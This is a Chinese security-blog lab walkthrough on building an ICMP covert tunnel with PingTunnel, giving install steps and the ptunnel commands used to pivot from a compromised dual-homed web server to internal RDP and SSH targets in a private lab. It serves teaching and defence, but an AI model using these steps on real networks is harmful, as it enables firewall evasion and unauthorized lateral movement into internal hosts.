隐秘通信-使用PingTunnel搭建ICMP隧道实验

admin 2024年10月7日20:50:35评论33 views字数 4793阅读15分58秒阅读模式

1. 引言

1.1. 实验目的

  • 掌握PingTunnel搭建ICMP隧道的步骤

  • 掌握PingTunnel的使用方法及应用场景

1.2. 实验内容

  • PingTunnel及相关依赖环境的安装

  • 用PingTunnel搭建ICMP隧道

2. 基础知识

2.1. ICMP协议简介

Internet Control Message Protocol Internet控制报文协议,简称ICMP协议。它是TCP/IP协议簇的一个子协议,用于在IP主机、路由器之间传递控制消息。控制消息是指网络通不通、主机是否可达、路由是否可用于网络本身的消息。这些控制消息虽然并不传输用户数据,但是对于用户数据的传递起着重要的作用。

CMP协议主要提供两种功能,一种是差错报文,一种是信息类报文。信息类报文包括回显请求和回显应答,以及路由器通告和路由器请求。常见的差错报文类型包括目的不可达、重定向、超时和参数问题。

ICMP协议具有如下特点:

  • 确认IP数据包是否成功到达目的地

  • 通知源主机发送IP数据包丢失的原因

  • ICMP是基于IP协议工作的

  • ICMP只能作用于IPV4IPV6下,使用ICMPv6

2.2. ICMP隧道简介

ICMP协议是一种特殊的协议,在一般的通信协议里,如果两台设备要进行通信,肯定需要开放端口,而在ICMP协议下就不需要。最常见的ping命令就是利用的ICMP协议,攻击者可以利用命令行得到比回复更多的ICMP请求。在通常情况下,每个ping命令都有相应的回复与请求。

在一些网络环境中,如果攻击者使用各类上层隧道(例如:HTTP隧道、DNS隧道、常规正/反向端口转发等)进行的操作都失败了,常常会通过ping命令访问远程计算机,尝试建立ICMP隧道,将TCP/UDP数据封装到ICMPping数据包中,从而穿过防火墙(防火墙一般不会屏蔽ping的数据包),实现不受限制的访问访问。

由于ICMP报文自身可以携带数据,而且ICMP报文是由系统内核处理的,不占用任何端口,因此具有很高的隐蔽性

通常ICMP隧道技术采用ICMPICMP_ECHOICMP_ECHOREPLY两种报文,把数据隐藏在ICMP数据包包头的选项域中,利用ping命令建立隐蔽通道。简单说就是,改变操作系统默认填充的Data,替换成我们自己的数据。所以现在的ICMP隧道技术,基本采用修改ICMPECHOICMPECHOREPLY两种报文,把消息隐藏在数据中,利用pingtracert 命令建立隐蔽通道。

ICMP隧道具有如下优缺点

优点:

  • 防火墙对ICMP_ECHO数据包是放行的,并且内部主机不会检查ICMP数据包所携带的数据内容,隐蔽性高

缺点:

  • lCMP隐蔽传输是无连接的,传输不是很稳定,而且隐蔽通道的带宽很低。

  • 利用隧道传输时,需要接触更低层次的协议,这就需要高级用户权限。

2.3. ICMP隧道搭建工具介绍

ICMP隧道搭建的工具有很多,包括但不限于以下工具:

  • PingTunnel:http://www.cs.uit.no/~daniels/PingTunnel/  【C语言】

  • Pingtunnel:https://github.com/esrrhs/pingtunnel/  【Go语言】

  • icmptunnel:https://github.com/jamesbarlow/icmptunnel  【C语言】

  • Icmpsh:https://github.com/bdamele/icmpsh  【多语言混合】

  • Invoke-PowerShellIcmp:

  • https://github.com/samratashok/nishang/blob/master/Shells/Invoke-PowerShellIcmp.ps1  【Powershell】

2.4. PingTunnel简介

PingTunnel是一个基于网络层面ICMP协议的内网穿透工具,常用于搭建ICMP隧道,为了避免隧道被滥用,还可以为隧道设置密码。PingTunnel可以传递以下参数:

  • -x :指定ICMP隧道连接的验证密码

  • -lp:指定要监听的本地TCP端口

  • -da:指定要转发的目标机器的IP地址

  • -dp:指定要转发的目标机器的TCP端口

  • -p:指定ICMP隧道连一段的IP地址

3. 实验过程

3.1. 前置准备

网络拓扑如下:

隐秘通信-使用PingTunnel搭建ICMP隧道实验

物料清单如下:

  • Kali Linux攻击机:192.168.161.142Host-Only模式)

  • Win10攻击机:192.168.161.144Host-Only模式)

  • CentOS7 Web服务器:192.168.161.2Host-Only模式)192.168.27.252NAT模式)

  • Win7内网PC机:192.168.27.248NAT模式)

  • Ubuntu 16.04 内网PC机:192.168.27.251NAT模式)

Host-Only模式模拟互联网、NAT模式模拟内网。CentOS7模拟企业对外提供的Web服务器,该机器是双网卡,可以通内网,同时向互联网提供Web服务。

实验场景为:我们已经获取了该Web服务器的权限,试图搭建ICMP隧道,连接内网Win73389端口和Ubuntu 16.0422端口,进行内网横移。

该实验中,CentOS 7 充当跳板机,内网的Win 7 Ubuntu 16.04 是我们的两台靶机。

3.2. PingTunnel搭建ICMP隧道步骤

3.2.1. CentOS 7更换阿里源

wget -O /etc/yum.repos.d/CentOS-Base.repo https://mirrors.aliyun.com/repo/Centos-7.repo

非阿里云ECS用户防止出现 Couldn't resolve host 'mirrors.cloud.aliyuncs.com' 信息,需执行如下命令:

sed -i -e '/mirrors.cloud.aliyuncs.com/d' -e '/mirrors.aliyuncs.com/d' /etc/yum.repos.d/CentOS-Base.repo

执行如下命令:

sudo rpm --rebuilddb 重新安装包头数据库索引目录sudo yum clean al  清理所有yum缓存Sudo yum -y updat  安装所有更新软件

3.2.2. CentOS 7安装make及词法分析工具

yum -y install gcc automake autoconf libtool makeyum -y install byacc flex bison

3.2.3. CentOS 7安装libpcap依赖库

wget http://www.tcpdump.org/release/libpcap-1.9.0.tar.gztar -xzvf libpcap-1.9.0.tar.gzcd libpcap-1.9.0sudo ./configuresudo make && sudo make install

3.2.4. CentOS 7安装PingTunnel

wget http://www.cs.uit.no/~daniels/PingTunnel/PingTunnel-0.72.tar.gztar -xzvf PingTunnel-0.72.tar.gzcd PingTunnelsudo make && sudo make install

3.2.5. CentOS 7启动ptunnel

sudo ptunnel -x  icmptest

隐秘通信-使用PingTunnel搭建ICMP隧道实验

-x为隧道指定连接密码

3.2.6. Kali Linux桥接模式上网

为了能够让Kali Linux在实验环境上网,便于我后面可以使用apt-get命令安装软件。我新增了块网卡,采用桥接模式,因此多出来一个IP192.168.110.101

隐秘通信-使用PingTunnel搭建ICMP隧道实验

3.2.7. Kali Linux更换阿里源

修改 /etc/apt/sources.list , 将相关 url 改成阿里云的源。

deb https://mirrors.aliyun.com/kali kali-rolling main non-free contribdeb-src https://mirrors.aliyun.com/kali kali-rolling main non-free contrib
执行命令:sudo apt-get update

3.2.8. Kali Linux安装词法分析工具

sudo apt-get install byacc flex bison

3.2.9. Kali Linux安装libpcap依赖库

wget http://www.tcpdump.org/release/libpcap-1.9.0.tar.gztar -xzvf libpcap-1.9.0.tar.gzcd libpcap-1.9.0sudo ./configuresudo make && sudo make install

3.2.10. Kali Linux安装PingTunnel

wget http://www.cs.uit.no/~daniels/PingTunnel/PingTunnel-0.72.tar.gztar -xzvf PingTunnel-0.72.tar.gzcd PingTunnelsudo make && sudo make install

3.2.11. Kali Linux打通隧道

sudo ptunnel -p 192.168.161.2 -lp 2899 -da 192.168.27.248 -dp 3389 -x icmptest

隐秘通信-使用PingTunnel搭建ICMP隧道实验

命令解释:将内网IP192.168.27.248win7 PC机器的3389端口转发到互联网IPKali 192.168.161.22899端口,建立icmp隧道,并设置连接密码为icmptest

sudo ptunnel -p 192.168.161.2 -lp 2822 -da 192.168.27.251 -dp 22 -x icmptest

隐秘通信-使用PingTunnel搭建ICMP隧道实验

命令解释:将内网IP192.168.27.251ubuntu PC机器的22端口转发到互联网IPKali 192.168.161.22822端口,建立icmp隧道,并设置连接密码为icmptest

3.2.12. Win 10测试3389连接

win10 攻击机,连接Kali Linux2899端口,192.168.161.142:2899,通过隧道登录到win7靶机。

隐秘通信-使用PingTunnel搭建ICMP隧道实验

3.2.13. Kali Linux测试22端口连接

ssh -p 2822 [email protected]

Kali Linux 攻击机,连接本机的2822端口,通过隧道登录到ubuntu 16.04靶机。

隐秘通信-使用PingTunnel搭建ICMP隧道实验

3.2.14. CentOS 7隧道观测

ICMP隧道的建立,其实是在CentOS7上建立了一个虚拟网卡。通过创建虚拟网卡,将所有流量都经过这个虚拟网卡。

隐秘通信-使用PingTunnel搭建ICMP隧道实验

通过隧道的连接记录我们可以看到,一共有两个session。一个是连接到内网win7的,一个是连接到内网ubuntu 16.04的。

隐秘通信-使用PingTunnel搭建ICMP隧道实验

4. 实验总结

4.1. 总结

我们在CentOS 7 这个跳板机上安装了PingTunnel,并启动server端。在Kali Linux这个攻击机上也安装了PingTunnel,并启动client端。利用PingTunnel,我们在攻击机Kali Linux和跳板机CentOS 7上建立了ICMP隧道。之后我们分别通过Win10Kali Linux这两台攻击机,去连接内网的Win7Ubuntu 16.04这两台靶机。

4.2. 参考连接

https://cloud.tencent.com/developer/article/2098581

https://blog.csdn.net/qq_45300786/article/details/110943803

原文始发于微信公众号(Roc安全空间站):隐秘通信-使用PingTunnel搭建ICMP隧道实验

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年10月7日20:50:35
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   隐秘通信-使用PingTunnel搭建ICMP隧道实验https://cn-sec.com/archives/2008201.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息